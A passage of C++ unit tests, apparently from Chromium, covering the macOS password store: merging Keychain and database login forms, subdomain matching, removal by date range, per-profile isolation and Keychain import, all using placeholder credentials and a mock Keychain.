test_data[DATABASE_INPUT][current_test].push_back(&db_federated);
test_data[DATABASE_INPUT][current_test].push_back(&db_android);
test_data[MERGE_OUTPUT][current_test].push_back(&db_federated);
test_data[MERGE_OUTPUT][current_test].push_back(&merged_android);
for (unsigned int test_case = 0; test_case <= current_test; ++test_case) {
ScopedVector<autofill::PasswordForm> keychain_forms;
for (std::vector<PasswordFormData*>::iterator i =
test_data[KEYCHAIN_INPUT][test_case].begin();
i != test_data[KEYCHAIN_INPUT][test_case].end(); ++i) {
keychain_forms.push_back(
CreatePasswordFormFromDataForTesting(*(*i)).release());
}
ScopedVector<autofill::PasswordForm> database_forms;
for (std::vector<PasswordFormData*>::iterator i =
test_data[DATABASE_INPUT][test_case].begin();
i != test_data[DATABASE_INPUT][test_case].end(); ++i) {
database_forms.push_back(
CreatePasswordFormFromDataForTesting(*(*i)).release());
}
ScopedVector<autofill::PasswordForm> merged_forms;
internal_keychain_helpers::MergePasswordForms(&keychain_forms,
&database_forms,
&merged_forms);
CHECK_FORMS(keychain_forms.get(), test_data[KEYCHAIN_OUTPUT][test_case],
test_case);
CHECK_FORMS(database_forms.get(), test_data[DATABASE_OUTPUT][test_case],
test_case);
CHECK_FORMS(merged_forms.get(), test_data[MERGE_OUTPUT][test_case],
test_case);
}
}
TEST_F(PasswordStoreMacInternalsTest, TestPasswordBulkLookup) {
PasswordFormData db_data[] = {
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "http://some.domain.com/action.cgi",
L"submit", L"username", L"password", L"joe_user", L"",
true, false, 1212121212 },
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"",
true, false, 1234567890 },
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"second-account", L"",
true, false, 1240000000 },
{ PasswordForm::SCHEME_HTML, "http://dont.remember.com/",
"http://dont.remember.com/",
"http://dont.remember.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"",
true, false, 1240000000 },
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/path.html", "http://some.domain.com/action.cgi",
L"submit", L"username", L"password", NULL, NULL,
true, false, 1212121212 },
};
ScopedVector<autofill::PasswordForm> database_forms;
for (unsigned int i = 0; i < arraysize(db_data); ++i) {
database_forms.push_back(
CreatePasswordFormFromDataForTesting(db_data[i]).release());
}
ScopedVector<autofill::PasswordForm> merged_forms;
internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms,
&merged_forms);
EXPECT_EQ(2U, database_forms.size());
ASSERT_EQ(3U, merged_forms.size());
EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[0]->password_value);
EXPECT_EQ(ASCIIToUTF16("sekrit"), merged_forms[1]->password_value);
EXPECT_TRUE(merged_forms[2]->blacklisted_by_user);
}
TEST_F(PasswordStoreMacInternalsTest, TestBlacklistedFiltering) {
PasswordFormData db_data[] = {
{ PasswordForm::SCHEME_HTML, "http://dont.remember.com/",
"http://dont.remember.com/",
"http://dont.remember.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"non_empty_password",
true, false, 1240000000 },
{ PasswordForm::SCHEME_HTML, "https://dont.remember.com/",
"https://dont.remember.com/",
"https://dont.remember.com/handlepage_secure.cgi",
L"submit", L"username", L"password", L"joe_user", L"non_empty_password",
true, false, 1240000000 },
};
ScopedVector<autofill::PasswordForm> database_forms;
for (unsigned int i = 0; i < arraysize(db_data); ++i) {
database_forms.push_back(
CreatePasswordFormFromDataForTesting(db_data[i]).release());
}
ScopedVector<autofill::PasswordForm> merged_forms;
internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms,
&merged_forms);
EXPECT_EQ(2U, database_forms.size());
ASSERT_EQ(0U, merged_forms.size());
}
TEST_F(PasswordStoreMacInternalsTest, TestFillPasswordFormFromKeychainItem) {
// When |extract_password_data| is false, the password field must be empty,
// and |blacklisted_by_user| must be false.
SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(1);
PasswordForm form_without_extracted_password;
bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_,
keychain_item,
&form_without_extracted_password,
false); // Do not extract password.
EXPECT_TRUE(parsed);
ASSERT_TRUE(form_without_extracted_password.password_value.empty());
ASSERT_FALSE(form_without_extracted_password.blacklisted_by_user);
// When |extract_password_data| is true and the keychain entry has a non-empty
// password, the password field must be non-empty, and the value of
// |blacklisted_by_user| must be false.
keychain_item = reinterpret_cast<SecKeychainItemRef>(1);
PasswordForm form_with_extracted_password;
parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_,
keychain_item,
&form_with_extracted_password,
true); // Extract password.
EXPECT_TRUE(parsed);
ASSERT_EQ(ASCIIToUTF16("sekrit"),
form_with_extracted_password.password_value);
ASSERT_FALSE(form_with_extracted_password.blacklisted_by_user);
// When |extract_password_data| is true and the keychain entry has an empty
// username and password (""), the password field must be empty, and the value
// of |blacklisted_by_user| must be true.
keychain_item = reinterpret_cast<SecKeychainItemRef>(4);
PasswordForm negative_form;
parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_,
keychain_item,
&negative_form,
true); // Extract password.
EXPECT_TRUE(parsed);
ASSERT_TRUE(negative_form.username_value.empty());
ASSERT_TRUE(negative_form.password_value.empty());
ASSERT_TRUE(negative_form.blacklisted_by_user);
// When |extract_password_data| is true and the keychain entry has an empty
// password (""), the password field must be empty (""), and the value of
// |blacklisted_by_user| must be true.
keychain_item = reinterpret_cast<SecKeychainItemRef>(5);
PasswordForm form_with_empty_password_a;
parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_,
keychain_item,
&form_with_empty_password_a,
true); // Extract password.
EXPECT_TRUE(parsed);
ASSERT_TRUE(form_with_empty_password_a.password_value.empty());
ASSERT_TRUE(form_with_empty_password_a.blacklisted_by_user);
// When |extract_password_data| is true and the keychain entry has a single
// space password (" "), the password field must be a single space (" "), and
// the value of |blacklisted_by_user| must be true.
keychain_item = reinterpret_cast<SecKeychainItemRef>(6);
PasswordForm form_with_empty_password_b;
parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_,
keychain_item,
&form_with_empty_password_b,
true); // Extract password.
EXPECT_TRUE(parsed);
ASSERT_EQ(ASCIIToUTF16(" "),
form_with_empty_password_b.password_value);
ASSERT_TRUE(form_with_empty_password_b.blacklisted_by_user);
}
TEST_F(PasswordStoreMacInternalsTest, TestPasswordGetAll) {
MacKeychainPasswordFormAdapter keychain_adapter(keychain_);
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_);
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
// Add a few passwords of various types so that we own some.
PasswordFormData owned_password_data[] = {
{ PasswordForm::SCHEME_HTML, "http://web.site.com/",
"http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL,
L"anonymous", L"knock-knock", false, false, 0 },
{ PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm",
"http://a.site.com:2222/", NULL, NULL, NULL, NULL,
L"username", L"password", false, false, 0 },
{ PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm",
"https://digest.site.com/secure.html", NULL, NULL, NULL, NULL,
L"testname", L"testpass", false, false, 0 },
};
for (unsigned int i = 0; i < arraysize(owned_password_data); ++i) {
scoped_ptr<PasswordForm> form =
CreatePasswordFormFromDataForTesting(owned_password_data[i]);
owned_keychain_adapter.AddPassword(*form);
}
ScopedVector<autofill::PasswordForm> all_passwords =
keychain_adapter.GetAllPasswordFormPasswords();
EXPECT_EQ(9 + arraysize(owned_password_data), all_passwords.size());
ScopedVector<autofill::PasswordForm> owned_passwords =
owned_keychain_adapter.GetAllPasswordFormPasswords();
EXPECT_EQ(arraysize(owned_password_data), owned_passwords.size());
}
#pragma mark -
class PasswordStoreMacTest : public testing::Test {
public:
PasswordStoreMacTest() : ui_thread_(BrowserThread::UI, &message_loop_) {}
void SetUp() override {
ASSERT_TRUE(db_dir_.CreateUniqueTempDir());
histogram_tester_.reset(new base::HistogramTester);
// Ensure that LoginDatabase will use the mock keychain if it needs to
// encrypt/decrypt a password.
OSCrypt::UseMockKeychain(true);
login_db_.reset(
new password_manager::LoginDatabase(test_login_db_file_path()));
thread_.reset(new base::Thread("Chrome_PasswordStore_Thread"));
ASSERT_TRUE(thread_->Start());
ASSERT_TRUE(thread_->task_runner()->PostTask(
FROM_HERE, base::Bind(&PasswordStoreMacTest::InitLoginDatabase,
base::Unretained(login_db_.get()))));
CreateAndInitPasswordStore(login_db_.get());
// Make sure deferred initialization is performed before some tests start
// accessing the |login_db| directly.
FinishAsyncProcessing();
}
void TearDown() override {
ClosePasswordStore();
thread_.reset();
login_db_.reset();
// Whatever a test did, PasswordStoreMac stores only empty password values
// in LoginDatabase. The empty valus do not require encryption and therefore
// OSCrypt shouldn't call the Keychain. The histogram doesn't cover the
// internet passwords.
if (histogram_tester_) {
scoped_ptr<base::HistogramSamples> samples =
histogram_tester_->GetHistogramSamplesSinceCreation(
"OSX.Keychain.Access");
EXPECT_TRUE(!samples || samples->TotalCount() == 0);
}
}
static void InitLoginDatabase(password_manager::LoginDatabase* login_db) {
ASSERT_TRUE(login_db->Init());
}
void CreateAndInitPasswordStore(password_manager::LoginDatabase* login_db) {
store_ = new PasswordStoreMac(
base::ThreadTaskRunnerHandle::Get(), nullptr,
make_scoped_ptr<AppleKeychain>(new MockAppleKeychain));
ASSERT_TRUE(thread_->task_runner()->PostTask(
FROM_HERE, base::Bind(&PasswordStoreMac::InitWithTaskRunner, store_,
thread_->task_runner())));
ASSERT_TRUE(thread_->task_runner()->PostTask(
FROM_HERE, base::Bind(&PasswordStoreMac::set_login_metadata_db, store_,
base::Unretained(login_db))));
}
void ClosePasswordStore() {
if (!store_)
return;
store_->Shutdown();
store_ = nullptr;
}
// Verifies that the given |form| can be properly stored so that it can be
// retrieved by FillMatchingLogins() and GetAutofillableLogins(), and then it
// can be properly removed.
void VerifyCredentialLifecycle(const PasswordForm& form) {
// Run everything twice to make sure no garbage is left behind that would
// prevent storing the form a second time.
for (size_t iteration = 0; iteration < 2; ++iteration) {
SCOPED_TRACE(testing::Message("Iteration: ") << iteration);
MockPasswordStoreConsumer mock_consumer;
EXPECT_CALL(mock_consumer, OnGetPasswordStoreResultsConstRef(IsEmpty()))
.WillOnce(QuitUIMessageLoop());
store()->GetAutofillableLogins(&mock_consumer);
base::MessageLoop::current()->Run();
::testing::Mock::VerifyAndClearExpectations(&mock_consumer);
store()->AddLogin(form);
FinishAsyncProcessing();
PasswordForm returned_form;
EXPECT_CALL(mock_consumer, OnGetPasswordStoreResultsConstRef(SizeIs(1u)))
.WillOnce(
DoAll(SaveACopyOfFirstForm(&returned_form), QuitUIMessageLoop()));
// The query operations will also do some housekeeping: they will remove
// dangling credentials in the LoginDatabase without a matching Keychain
// item when one is expected. If the logic that stores the Keychain item
// is incorrect, this will wipe the newly added form before the second
// query.
store()->GetAutofillableLogins(&mock_consumer);
base::MessageLoop::current()->Run();
::testing::Mock::VerifyAndClearExpectations(&mock_consumer);
EXPECT_EQ(form, returned_form);
PasswordForm query_form = form;
query_form.password_value.clear();
query_form.username_value.clear();
EXPECT_CALL(mock_consumer, OnGetPasswordStoreResultsConstRef(SizeIs(1u)))
.WillOnce(
DoAll(SaveACopyOfFirstForm(&returned_form), QuitUIMessageLoop()));
store()->GetLogins(query_form, PasswordStore::ALLOW_PROMPT,
&mock_consumer);
base::MessageLoop::current()->Run();
::testing::Mock::VerifyAndClearExpectations(&mock_consumer);
EXPECT_EQ(form, returned_form);
store()->RemoveLogin(form);
}
}
base::FilePath test_login_db_file_path() const {
return db_dir_.path().Append(FILE_PATH_LITERAL("login.db"));
}
password_manager::LoginDatabase* login_db() const {
return store_->login_metadata_db();
}
MockAppleKeychain* keychain() {
return static_cast<MockAppleKeychain*>(store_->keychain());
}
void FinishAsyncProcessing() {
scoped_refptr<content::MessageLoopRunner> runner =
new content::MessageLoopRunner;
ASSERT_TRUE(thread_->task_runner()->PostTaskAndReply(
FROM_HERE, base::Bind(&Noop), runner->QuitClosure()));
runner->Run();
}
PasswordStoreMac* store() { return store_.get(); }
protected:
base::MessageLoopForUI message_loop_;
content::TestBrowserThread ui_thread_;
// Thread that the synchronous methods are run on.
scoped_ptr<base::Thread> thread_;
base::ScopedTempDir db_dir_;
scoped_ptr<password_manager::LoginDatabase> login_db_;
scoped_refptr<PasswordStoreMac> store_;
scoped_ptr<base::HistogramTester> histogram_tester_;
};
TEST_F(PasswordStoreMacTest, TestStoreUpdate) {
// Insert a password into both the database and the keychain.
// This is done manually, rather than through store_->AddLogin, because the
// Mock Keychain isn't smart enough to be able to support update generically,
// so some.domain.com triggers special handling to test it that make inserting
// fail.
PasswordFormData joint_data = {
PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/insecure.html", "login.cgi",
L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1
};
scoped_ptr<PasswordForm> joint_form =
CreatePasswordFormFromDataForTesting(joint_data);
EXPECT_EQ(AddChangeForForm(*joint_form), login_db()->AddLogin(*joint_form));
MockAppleKeychain::KeychainTestData joint_keychain_data = {
kSecAuthenticationTypeHTMLForm, "some.domain.com",
kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "20020601171500Z",
"joe_user", "sekrit", false };
keychain()->AddTestItem(joint_keychain_data);
// Insert a password into the keychain only.
MockAppleKeychain::KeychainTestData keychain_only_data = {
kSecAuthenticationTypeHTMLForm, "keychain.only.com",
kSecProtocolTypeHTTP, NULL, 0, NULL, "20020601171500Z",
"keychain", "only", false
};
keychain()->AddTestItem(keychain_only_data);
struct UpdateData {
PasswordFormData form_data;
const char* password; // NULL indicates no entry should be present.
};
// Make a series of update calls.
UpdateData updates[] = {
// Update the keychain+db passwords (the normal password update case).
{ { PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/insecure.html", "login.cgi",
L"username", L"password", L"submit", L"joe_user", L"53krit",
true, false, 2 },
"53krit",
},
// Update the keychain-only password; this simulates the initial use of a
// password stored by another browsers.
{ { PasswordForm::SCHEME_HTML, "http://keychain.only.com/",
"http://keychain.only.com/login.html", "login.cgi",
L"username", L"password", L"submit", L"keychain", L"only",
true, false, 2 },
"only",
},
// Update a password that doesn't exist in either location. This tests the
// case where a form is filled, then the stored login is removed, then the
// form is submitted.
{ { PasswordForm::SCHEME_HTML, "http://different.com/",
"http://different.com/index.html", "login.cgi",
L"username", L"password", L"submit", L"abc", L"123",
true, false, 2 },
NULL,
},
};
for (unsigned int i = 0; i < arraysize(updates); ++i) {
scoped_ptr<PasswordForm> form =
CreatePasswordFormFromDataForTesting(updates[i].form_data);
store_->UpdateLogin(*form);
}
FinishAsyncProcessing();
MacKeychainPasswordFormAdapter keychain_adapter(keychain());
for (unsigned int i = 0; i < arraysize(updates); ++i) {
scoped_ptr<PasswordForm> query_form =
CreatePasswordFormFromDataForTesting(updates[i].form_data);
ScopedVector<autofill::PasswordForm> matching_items =
keychain_adapter.PasswordsFillingForm(query_form->signon_realm,
query_form->scheme);
if (updates[i].password) {
EXPECT_GT(matching_items.size(), 0U) << "iteration " << i;
if (matching_items.size() >= 1)
EXPECT_EQ(ASCIIToUTF16(updates[i].password),
matching_items[0]->password_value) << "iteration " << i;
} else {
EXPECT_EQ(0U, matching_items.size()) << "iteration " << i;
}
EXPECT_TRUE(login_db()->GetLogins(*query_form, &matching_items));
EXPECT_EQ(updates[i].password ? 1U : 0U, matching_items.size())
<< "iteration " << i;
}
}
TEST_F(PasswordStoreMacTest, TestDBKeychainAssociation) {
// Tests that association between the keychain and login database parts of a
// password added by fuzzy (PSL) matching works.
// 1. Add a password for www.facebook.com
// 2. Get a password for m.facebook.com. This fuzzy matches and returns the
// www.facebook.com password.
// 3. Add the returned password for m.facebook.com.
// 4. Remove both passwords.
// -> check: that both are gone from the login DB and the keychain
// This test should in particular ensure that we don't keep passwords in the
// keychain just before we think we still have other (fuzzy-)matching entries
// for them in the login database. (For example, here if we deleted the
// www.facebook.com password from the login database, we should not be blocked
// from deleting it from the keystore just becaus the m.facebook.com password
// fuzzy-matches the www.facebook.com one.)
// 1. Add a password for www.facebook.com
PasswordFormData www_form_data = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login",
L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1
};
scoped_ptr<PasswordForm> www_form =
CreatePasswordFormFromDataForTesting(www_form_data);
EXPECT_EQ(AddChangeForForm(*www_form), login_db()->AddLogin(*www_form));
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain());
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
owned_keychain_adapter.AddPassword(*www_form);
// 2. Get a password for m.facebook.com.
PasswordForm m_form(*www_form);
m_form.signon_realm = "http://m.facebook.com";
m_form.origin = GURL("http://m.facebook.com/index.html");
MockPasswordStoreConsumer consumer;
store_->GetLogins(m_form, PasswordStore::ALLOW_PROMPT, &consumer);
PasswordForm returned_form;
EXPECT_CALL(consumer, OnGetPasswordStoreResultsConstRef(SizeIs(1u)))
.WillOnce(
DoAll(SaveACopyOfFirstForm(&returned_form), QuitUIMessageLoop()));
base::MessageLoop::current()->Run();
// 3. Add the returned password for m.facebook.com.
EXPECT_EQ(AddChangeForForm(returned_form),
login_db()->AddLogin(returned_form));
owned_keychain_adapter.AddPassword(m_form);
// 4. Remove both passwords.
store_->RemoveLogin(*www_form);
store_->RemoveLogin(m_form);
FinishAsyncProcessing();
// No trace of www.facebook.com.
ScopedVector<autofill::PasswordForm> matching_items =
owned_keychain_adapter.PasswordsFillingForm(www_form->signon_realm,
www_form->scheme);
EXPECT_EQ(0u, matching_items.size());
EXPECT_TRUE(login_db()->GetLogins(*www_form, &matching_items));
EXPECT_EQ(0u, matching_items.size());
// No trace of m.facebook.com.
matching_items = owned_keychain_adapter.PasswordsFillingForm(
m_form.signon_realm, m_form.scheme);
EXPECT_EQ(0u, matching_items.size());
EXPECT_TRUE(login_db()->GetLogins(m_form, &matching_items));
EXPECT_EQ(0u, matching_items.size());
}
namespace {
class PasswordsChangeObserver :
public password_manager::PasswordStore::Observer {
public:
PasswordsChangeObserver(PasswordStoreMac* store) : observer_(this) {
observer_.Add(store);
}
void WaitAndVerify(PasswordStoreMacTest* test) {
test->FinishAsyncProcessing();
::testing::Mock::VerifyAndClearExpectations(this);
}
// password_manager::PasswordStore::Observer:
MOCK_METHOD1(OnLoginsChanged,
void(const password_manager::PasswordStoreChangeList& changes));
private:
ScopedObserver<password_manager::PasswordStore,
PasswordsChangeObserver> observer_;
};
password_manager::PasswordStoreChangeList GetAddChangeList(
const PasswordForm& form) {
password_manager::PasswordStoreChange change(
password_manager::PasswordStoreChange::ADD, form);
return password_manager::PasswordStoreChangeList(1, change);
}
// Tests RemoveLoginsCreatedBetween or RemoveLoginsSyncedBetween depending on
// |check_created|.
void CheckRemoveLoginsBetween(PasswordStoreMacTest* test, bool check_created) {
PasswordFormData www_form_data_facebook = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login", L"submit", L"username",
L"password", L"joe_user", L"sekrit", true, false, 0 };
// The old form doesn't have elements names.
PasswordFormData www_form_data_facebook_old = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login", L"", L"",
L"", L"joe_user", L"oldsekrit", true, false, 0 };
PasswordFormData www_form_data_other = {
PasswordForm::SCHEME_HTML, "http://different.com/",
"http://different.com/index.html", "login", L"submit", L"username",
L"password", L"different_joe_user", L"sekrit", true, false, 0 };
scoped_ptr<PasswordForm> form_facebook =
CreatePasswordFormFromDataForTesting(www_form_data_facebook);
scoped_ptr<PasswordForm> form_facebook_old =
CreatePasswordFormFromDataForTesting(www_form_data_facebook_old);
scoped_ptr<PasswordForm> form_other =
CreatePasswordFormFromDataForTesting(www_form_data_other);
base::Time now = base::Time::Now();
// TODO(vasilii): remove the next line once crbug/374132 is fixed.
now = base::Time::FromTimeT(now.ToTimeT());
base::Time next_day = now + base::TimeDelta::FromDays(1);
if (check_created) {
form_facebook_old->date_created = now;
form_facebook->date_created = next_day;
form_other->date_created = next_day;
} else {
form_facebook_old->date_synced = now;
form_facebook->date_synced = next_day;
form_other->date_synced = next_day;
}
PasswordsChangeObserver observer(test->store());
test->store()->AddLogin(*form_facebook_old);
test->store()->AddLogin(*form_facebook);
test->store()->AddLogin(*form_other);
EXPECT_CALL(observer, OnLoginsChanged(GetAddChangeList(*form_facebook_old)));
EXPECT_CALL(observer, OnLoginsChanged(GetAddChangeList(*form_facebook)));
EXPECT_CALL(observer, OnLoginsChanged(GetAddChangeList(*form_other)));
observer.WaitAndVerify(test);
// Check the keychain content.
MacKeychainPasswordFormAdapter owned_keychain_adapter(test->keychain());
owned_keychain_adapter.SetFindsOnlyOwnedItems(false);
ScopedVector<PasswordForm> matching_items(
owned_keychain_adapter.PasswordsFillingForm(form_facebook->signon_realm,
form_facebook->scheme));
EXPECT_EQ(1u, matching_items.size());
matching_items = owned_keychain_adapter.PasswordsFillingForm(
form_other->signon_realm, form_other->scheme);
EXPECT_EQ(1u, matching_items.size());
// Remove facebook.
if (check_created) {
test->store()->RemoveLoginsCreatedBetween(base::Time(), next_day,
base::Closure());
} else {
test->store()->RemoveLoginsSyncedBetween(base::Time(), next_day);
}
password_manager::PasswordStoreChangeList list;
form_facebook_old->password_value.clear();
form_facebook->password_value.clear();
list.push_back(password_manager::PasswordStoreChange(
password_manager::PasswordStoreChange::REMOVE, *form_facebook_old));
list.push_back(password_manager::PasswordStoreChange(
password_manager::PasswordStoreChange::REMOVE, *form_facebook));
EXPECT_CALL(observer, OnLoginsChanged(list));
list.clear();
observer.WaitAndVerify(test);
matching_items = owned_keychain_adapter.PasswordsFillingForm(
form_facebook->signon_realm, form_facebook->scheme);
EXPECT_EQ(0u, matching_items.size());
matching_items = owned_keychain_adapter.PasswordsFillingForm(
form_other->signon_realm, form_other->scheme);
EXPECT_EQ(1u, matching_items.size());
// Remove form_other.
if (check_created) {
test->store()->RemoveLoginsCreatedBetween(next_day, base::Time(),
base::Closure());
} else {
test->store()->RemoveLoginsSyncedBetween(next_day, base::Time());
}
form_other->password_value.clear();
list.push_back(password_manager::PasswordStoreChange(
password_manager::PasswordStoreChange::REMOVE, *form_other));
EXPECT_CALL(observer, OnLoginsChanged(list));
observer.WaitAndVerify(test);
matching_items = owned_keychain_adapter.PasswordsFillingForm(
form_other->signon_realm, form_other->scheme);
EXPECT_EQ(0u, matching_items.size());
}
} // namespace
TEST_F(PasswordStoreMacTest, TestRemoveLoginsCreatedBetween) {
CheckRemoveLoginsBetween(this, true);
}
TEST_F(PasswordStoreMacTest, TestRemoveLoginsSyncedBetween) {
CheckRemoveLoginsBetween(this, false);
}
TEST_F(PasswordStoreMacTest, TestRemoveLoginsMultiProfile) {
// Make sure that RemoveLoginsCreatedBetween does affect only the correct
// profile.
// Add a third-party password.
MockAppleKeychain::KeychainTestData keychain_data = {
kSecAuthenticationTypeHTMLForm, "some.domain.com",
kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "20020601171500Z",
"joe_user", "sekrit", false };
keychain()->AddTestItem(keychain_data);
// Add a password through the adapter. It has the "Chrome" creator tag.
// However, it's not referenced by the password database.
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain());
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
PasswordFormData www_form_data1 = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login", L"username", L"password",
L"submit", L"joe_user", L"sekrit", true, false, 1 };
scoped_ptr<PasswordForm> www_form =
CreatePasswordFormFromDataForTesting(www_form_data1);
EXPECT_TRUE(owned_keychain_adapter.AddPassword(*www_form));
// Add a password from the current profile.
PasswordFormData www_form_data2 = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login", L"username", L"password",
L"submit", L"not_joe_user", L"12345", true, false, 1 };
www_form = CreatePasswordFormFromDataForTesting(www_form_data2);
store_->AddLogin(*www_form);
FinishAsyncProcessing();
ScopedVector<PasswordForm> matching_items;
EXPECT_TRUE(login_db()->GetLogins(*www_form, &matching_items));
EXPECT_EQ(1u, matching_items.size());
store_->RemoveLoginsCreatedBetween(base::Time(), base::Time(),
base::Closure());
FinishAsyncProcessing();
// Check the second facebook form is gone.
EXPECT_TRUE(login_db()->GetLogins(*www_form, &matching_items));
EXPECT_EQ(0u, matching_items.size());
// Check the first facebook form is still there.
matching_items = owned_keychain_adapter.PasswordsFillingForm(
www_form->signon_realm, www_form->scheme);
ASSERT_EQ(1u, matching_items.size());
EXPECT_EQ(ASCIIToUTF16("joe_user"), matching_items[0]->username_value);
// Check the third-party password is still there.
owned_keychain_adapter.SetFindsOnlyOwnedItems(false);
matching_items = owned_keychain_adapter.PasswordsFillingForm(
"http://some.domain.com/insecure.html", PasswordForm::SCHEME_HTML);
ASSERT_EQ(1u, matching_items.size());
}
// Add a facebook form to the store but not to the keychain. The form is to be
// implicitly deleted. However, the observers shouldn't get notified about
// deletion of non-existent forms like m.facebook.com.
TEST_F(PasswordStoreMacTest, SilentlyRemoveOrphanedForm) {
testing::StrictMock<MockPasswordStoreObserver> mock_observer;
store()->AddObserver(&mock_observer);
// 1. Add a password for www.facebook.com to the LoginDatabase.
PasswordFormData www_form_data = {
PasswordForm::SCHEME_HTML, "http://www.facebook.com/",
"http://www.facebook.com/index.html", "login",
L"username", L"password", L"submit", L"joe_user", L"", true, false, 1
};
scoped_ptr<PasswordForm> www_form(
CreatePasswordFormFromDataForTesting(www_form_data));
EXPECT_EQ(AddChangeForForm(*www_form), login_db()->AddLogin(*www_form));
// 2. Get a PSL-matched password for m.facebook.com. The observer isn't
// notified because the form isn't in the database.
PasswordForm m_form(*www_form);
m_form.signon_realm = "http://m.facebook.com";
m_form.origin = GURL("http://m.facebook.com/index.html");
MockPasswordStoreConsumer consumer;
ON_CALL(consumer, OnGetPasswordStoreResultsConstRef(_))
.WillByDefault(QuitUIMessageLoop());
EXPECT_CALL(mock_observer, OnLoginsChanged(_)).Times(0);
// The PSL-matched form isn't returned because there is no actual password in
// the keychain.
EXPECT_CALL(consumer, OnGetPasswordStoreResultsConstRef(IsEmpty()));
store_->GetLogins(m_form, PasswordStore::ALLOW_PROMPT, &consumer);
base::MessageLoop::current()->Run();
ScopedVector<autofill::PasswordForm> all_forms;
EXPECT_TRUE(login_db()->GetAutofillableLogins(&all_forms));
EXPECT_EQ(1u, all_forms.size());
::testing::Mock::VerifyAndClearExpectations(&mock_observer);
// 3. Get a password for www.facebook.com. The form is implicitly removed and
// the observer is notified.
password_manager::PasswordStoreChangeList list;
list.push_back(password_manager::PasswordStoreChange(
password_manager::PasswordStoreChange::REMOVE, *www_form));
EXPECT_CALL(mock_observer, OnLoginsChanged(list));
EXPECT_CALL(consumer, OnGetPasswordStoreResultsConstRef(IsEmpty()));
store_->GetLogins(*www_form, PasswordStore::ALLOW_PROMPT, &consumer);
base::MessageLoop::current()->Run();
EXPECT_TRUE(login_db()->GetAutofillableLogins(&all_forms));
EXPECT_EQ(0u, all_forms.size());
}
// Verify that Android app passwords can be stored, retrieved, and deleted.
// Regression test for http://crbug.com/455551
TEST_F(PasswordStoreMacTest, StoringAndRetrievingAndroidCredentials) {
PasswordForm form;
form.signon_realm = "android://7x7IDboo8u9YKraUsbmVkuf1@net.rateflix.app/";
form.username_value = base::UTF8ToUTF16("randomusername");
form.password_value = base::UTF8ToUTF16("password");
VerifyCredentialLifecycle(form);
}
// Verify that federated credentials can be stored, retrieved and deleted.
TEST_F(PasswordStoreMacTest, StoringAndRetrievingFederatedCredentials) {
PasswordForm form;
form.signon_realm = "android://7x7IDboo8u9YKraUsbmVkuf1@net.rateflix.app/";
form.federation_url = GURL(password_manager::kTestingFederationUrlSpec);
form.username_value = base::UTF8ToUTF16("randomusername");
form.password_value = base::UTF8ToUTF16(""); // No password.
VerifyCredentialLifecycle(form);
}
void CheckMigrationResult(PasswordStoreMac::MigrationResult expected_result,
PasswordStoreMac::MigrationResult result) {
EXPECT_EQ(expected_result, result);
QuitUIMessageLoop();
}
// Import the passwords from the Keychain to LoginDatabase.
TEST_F(PasswordStoreMacTest, ImportFromKeychain) {
PasswordForm form1;
form1.origin = GURL("http://accounts.google.com/LoginAuth");
form1.signon_realm = "http://accounts.google.com/";
form1.username_value = ASCIIToUTF16("my_username");
form1.password_value = ASCIIToUTF16("my_password");
PasswordForm form2;
form2.origin = GURL("http://facebook.com/Login");
form2.signon_realm = "http://facebook.com/";
form2.username_value = ASCIIToUTF16("my_username");
form2.password_value = ASCIIToUTF16("my_password");
PasswordForm blacklisted_form;
blacklisted_form.origin = GURL("http://badsite.com/Login");
blacklisted_form.signon_realm = "http://badsite.com/";
blacklisted_form.blacklisted_by_user = true;
store()->AddLogin(form1);
store()->AddLogin(form2);
store()->AddLogin(blacklisted_form);
FinishAsyncProcessing();
ASSERT_TRUE(base::PostTaskAndReplyWithResult(
thread_->task_runner().get(), FROM_HERE,
base::Bind(&PasswordStoreMac::ImportFromKeychain, store()),
base::Bind(&CheckMigrationResult, PasswordStoreMac::MIGRATION_OK)));
FinishAsyncProcessing();
// The password should be stored in the database by now.
ScopedVector<PasswordForm> matching_items;
EXPECT_TRUE(login_db()->GetLogins(form1, &matching_items));
ASSERT_EQ(1u, matching_items.size());
